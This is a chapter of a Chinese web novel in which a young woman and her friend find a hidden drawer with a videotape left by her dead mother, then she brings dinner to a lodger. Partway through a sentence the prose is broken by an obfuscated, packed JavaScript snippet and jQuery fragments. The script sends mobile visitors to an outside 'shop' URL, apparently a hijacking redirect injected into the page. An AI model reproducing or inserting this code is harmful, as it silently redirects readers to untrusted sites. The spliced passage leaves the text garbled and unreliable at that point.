除夕夜近在眼前，年前那几天几乎天天都在忙个不停。
在除夕夜的头两天，天气奇迹般放晴了一些，为了满足骊镇居民一些物资需求，路面被加速清理出来，以供车辆通行。
石兆就是这两天里，和自己的父亲一起回的镇上。
在这之前，叶若已经在姜柚见家陪伴了她几天了。
家中的熏肉熟成了，挂在厨房房梁上，来来往往都带着烟熏草木的肉香。
那日之后，奚临再也没有挂出过清扫的牌子，每晚的热水她还是会按时送上去，这是外婆的要求，由不得姜柚见自己做主。
但是他们之间像是多了一层微妙的隔阂，两人都心照不宣地避免见面。
姜柚见却反而心里生出几分难以描摹的别扭，她有时候觉得镇子上那些人说的话有可能的是对的——
没妈在身边的孩子，内心是不健全的，充满拧巴和怪异。
她有些后悔那天晚上不该那么说话，那人分明救了自己。
但是姜柚见非常清楚，许永安的难缠之处，而且奚临是个细皮嫩肉的外地人，他的世界里肯定没见过无耻到这个程度的地痞流氓。
奚临的脸肯定已经被许永安记住了，加倍的报复肯定接踵而至，这两天的风平浪静，只是暴风雨前的酝酿而已。
他们都会倒霉的。
除夕的前一天，叶若帮姜柚见收拾杂物间。
“快过年了，你这个屋子霉菌太多，待久了对身体不好，我趁着走之前和你把柜子抬出去，用除瘴香熏一熏，应该能好点。”
叶若身高比较高，垫着脚将柜子顶部杂物取下，姜柚见在一旁接着，放到一旁。
杂物间有很多疏于打扫的卫生死角，尤其是柜子里面惨不忍睹，都是一些多年来遗留的旧物，要说有价值吧，放市面上也只能当废纸卖，要说没价值吧，又偶有几张有纪念意义的照片。
姜柚见听说玉芬在去世之前为自己拍了好几套照片，但是当年玉芬在外地去世，房子和人合租的，整理旧物的时候没有找到那些照片。
有时候外婆会找到几张玉芬小时候的照片，扎着当时流行的麻花辫，穿着文化衫，有些不好意思地对着相机笑着，双眼被白光晃得有些半眯。
总体来说，玉芬小时候是好看的，但是如今自己已经过比照片上的玉芬还要年长。
她实在想象不出玉芬为人母时候的模样。
在家里，姜柚见反而是最舍不得扔掉旧物的那个人，因为她总觉得有一天，能翻到一些关于玉芬的旧物，满足自己对母亲的好奇。
哪怕是玉芬上学时歪七扭八的草稿纸，也可以。
两人一起将旧柜子搬出来的时候的，灰尘漫天飞，她俩都被呛到打了好几个喷嚏。
柜子后面的景象更是可怕，垃圾攒了一层，兴许是从缝隙里掉下去积累的，早已被灰尘掩埋。
姜柚见拿了扫帚过来清理，叶若则打开柜子，用鸡毛掸子清理浮灰。
“幸好你舅舅他们年后就走了，这个屋子真的不能长待，会生病的……”叶若屏住呼吸小心地掸去灰尘。
忽然间，她注意到柜子地下还有一层很浅抽屉，但是没有把手，“柚见，这是抽屉吗？”
姜柚见直起身子，肯定地说：“不可能啊，这柜子没有抽屉的，可能是装饰吧。”
叶若抬手敲了敲，听了下声音，“可是这里面是空心的，应该是有个不小的空腔的。”
这个小小的发现引起了两人的好奇心，她们打扫完之后把柜子挪回去，姜柚见观察了一下外观，并没有发现把手类似的东西。
这显然不符合抽屉的设计规则。
但是她同样怀着强烈的好奇，去拆一个旧柜子。
不过更重要的前提是，她在这个家里就算每什么权力，拆旧柜子的权力是有的。
姜柚见蹲下，手指沿着柜底那条极细的缝隙一点点摸过去，灰尘沾了满手。
木板边缘有一道漆面断层，说明这里应该是一块独立的木板，而且没被磨损过，可能连外婆他们都忘记了这个抽屉的存在。
叶若凑过来，小声道：“你真要拆？到时候会被骂吧。”
姜柚见沉默了两秒。
然后站起身去工具箱里翻出一把小号螺丝刀。
“只拆一面，再装回去不会看出来。”
高中后，姜柚见很少有这样执着于解谜的时刻了，两人的童心都回来了。
煤炉的火光跳动，叶若起身把门关上，防止有人看到。
姜柚见摸索到了一个很小的受力点，手腕用力，一点点用螺丝刀撬开。
老化的漆面碎屑不断掉下来，木板的边缘一点点被破坏。
叶若屏住呼吸。
直到木板被整体撬出来。
姜柚见惊喜地看到真的是个抽屉的结构，她伸手，小心地把抽屉往外拖动。
一阵更陈旧的灰尘气味涌出来，好在足够密封，没什么霉味，是纸张老化后的味道。
被封存的气息格外浓烈，两人有些兴奋又有些害怕地对视了一眼。
姜柚见伸手进去摸，里面确实有一个空腔，不算大。
她的指尖碰到一层塑料，心跳突然加快，害怕是什么恶心或者可怕的东西。
小心地把东西拖出来，包装非常小心，层层打开后，是一盒录像带，很老式的。
塑料壳已经泛黄和积灰，边角裂开一小块，标签纸褪色严重，上面有字。
圆珠笔写的：玉芬，199x年7月20日。
姜柚见的手猛地顿住，世界仿佛在这一秒静音。
叶若隔着空气也能共情到这份震撼，“这是……录像带？！”
她知道，柚见的母亲，叫玉芬。
姜柚见说不出话来，好像有一枚核桃生生卡住了喉咙，她盯着那几个字，双手激动到颤抖。
那字迹她不认得，这是玉芬的字吧，她只认得玉芬小学时候拿了三十分的数学试卷，而这个日期，显然是她出生之后了。
姜柚见从来没接触过这个年代的玉芬，她的呼吸都是打颤。
这个时间，是玉芬初为人母的时期，也就是说，玉芬还是见过的自己后……
才去世的。
她也见过玉芬，只不过在襁褓中。
此刻，她最关心的身为母亲的玉芬物件就在她手里，她却不敢打开，她怕因为年代太久而不小心损坏，她害怕那不可逆的损害。
塑料盒的扣子很脆，轻轻一掰就裂开一角，磁带边缘有明显受潮痕迹，有一段磁带甚至
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271578|198121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有轻微卷曲。
姜柚见仿佛抱着一个脆弱的早产儿，不敢动弹，茫然地看向叶若。
叶若凑近看。
“有点发霉……”
姜柚见声音断断续续。
“不会……已经损坏了吧？”
叶若皱眉：“不知道诶，这种老式的……现在谁家还有录像机？”
VHS的录像带，镇上可能连播放设备都找不到，而且受潮成这样，贸然播放也有可能直接卡死，甚至撕裂。
她抱着那盒录像带，心脏跳得极重，但是脑子里更多是一种惶恐。
录像带承载着更多信息，说不定里面有玉芬的模样，这很可能是她此生能进一步了解母亲的最后希望
她多想找到一些证据，来证明玉芬是知道她的，在临终之前爱过她。
她忽然意识到，这份录像带竟然出现在这样不起眼的地方，是不是意味着……还有更多。
叶若拿来了干净的纸摊开，她小心地将录像带放下，迅速把手再次伸进空腔摸索，没有别的，只有这孤零零的一盘。
她坐在地上盯着那褪色的标签。
叶若轻声问：“你要看吗？我让我爸去借一个设备。”
姜柚见眼睛有些发空，心里极度害怕：“要，但是这种带子不能随便放，得先修复。”
虽然好奇玉芬已久，但是此刻她忽然变得前所未有的冷静，像在对待一份珍贵的证物。
她对玉芬的好奇，足以支撑她延时满足。
她也没有充足的资金去找人修复，她可以等待，等到自己资金和修复师都万无一失的时候，她再去通过录影带了解玉芬。
姜柚见轻轻擦掉外壳的灰，把录像带重新放进盒子，用旧报纸包好放进最不受打扰的抽屉里。
她抬头看叶若。
“先别跟家里说。”
谁都又可以搞破坏，蔡瑞凯会觉得好玩，舅妈会觉得一定很值钱。
叶若点头：“好。”
煤火继续燃烧，窗外小雪又落下。
晚饭前，外婆做好了饭放在托盘上，让姜柚见端去给楼上。
她心里有些小小的异样，心里在这次就不能避免说话了。
走进楼道，她开始发现楼道里的空气，因为奚临的到来已经产生了微妙的变化。
若有似无地，能捕捉到被他的香水味染上的空气。
这是她生平第一次见到用香水的男人，她非但不觉得奇怪，反而觉得他用什么有质感的东西都似乎合情合理。
不像骊镇那些烟酒混杂的空气，垃圾漂浮的河流，巷子里腐朽和汗腥……
他本就不属于这里啊，也许属于纷繁的灯光永远不灭的城市……
属于干净的街道和不会停电的夜晚……
她站在楼梯口，托盘上热气氤氲，馄饨的香气混着木质楼道的旧味道。
空气里香水气息，冷质的，像刚削开的新鲜木头，混着一点干燥的雪松气息，让她有些恍惚。
她做了一阵思想建设，在门口站了几秒，才抬手敲门。
“林先生。”
里面有短暂的静默，随后门开了。
奚临站在灯光里，他的房间比楼道明亮得多，暖色的灯把他脸上的线条拉得柔和一些。